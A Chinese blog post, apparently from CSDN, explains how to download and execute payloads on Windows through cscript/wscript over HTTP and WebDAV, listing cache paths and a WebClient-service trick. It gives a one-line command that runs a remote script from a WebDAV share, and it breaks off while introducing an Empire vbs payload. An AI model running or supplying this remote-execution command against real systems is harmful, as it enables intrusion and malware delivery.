Windows文件传输及执行—Cscript/Wscript

本文探讨了如何通过Cscript/Wscript在Windows系统中进行文件下载和执行,特别是针对HTTP和WebDAV协议的情况。强调了在特定路径下找到缓存文件,并指出需要WebClient服务启动来执行UNC路径下载。提到了执行远程vbs脚本的命令格式,并提及了利用powershell下载并执行vbs payload的方法,适用于win7和win10系统,但存在将文件写入本地的缺点。
摘要由CSDN通过智能技术生成

声明:本文介绍的内容仅用于学习和研究目的,请勿用做非法用途。

 取决于Windows系统的版本,通过HTTP下载的文件缓存位置为IE的本地缓存,在下面的路径之一:

  • C:\Users\<username>\AppData\Local\Microsoft\Windows\Temporary Internet Files\
  • C:\Users\<username>\AppData\Local\Microsoft\Windows\INetCache\IE<subdir>

使用指向WebDav服务器的UNC路径下载的文件将保存在WebDAV客户端本地缓存:

  • C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV

 在使用UNC路径下载payload时,需要WebClient 服务启动,如果没有启动,可在命令行前面加上pushd \\webdavserver & popd命令。

Cscript/Wscript下载&执行

执行远程vbs脚本的基本命令格式为:

cscript //E:jscript \\webdavserver\folder\payload.txt

网络调用进程:svchost.exe,payload位置:WebDav客户端本地缓存。
此外,也可以利用powershell执行vbs脚本,首先生成Empire的vbs payload࿱

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值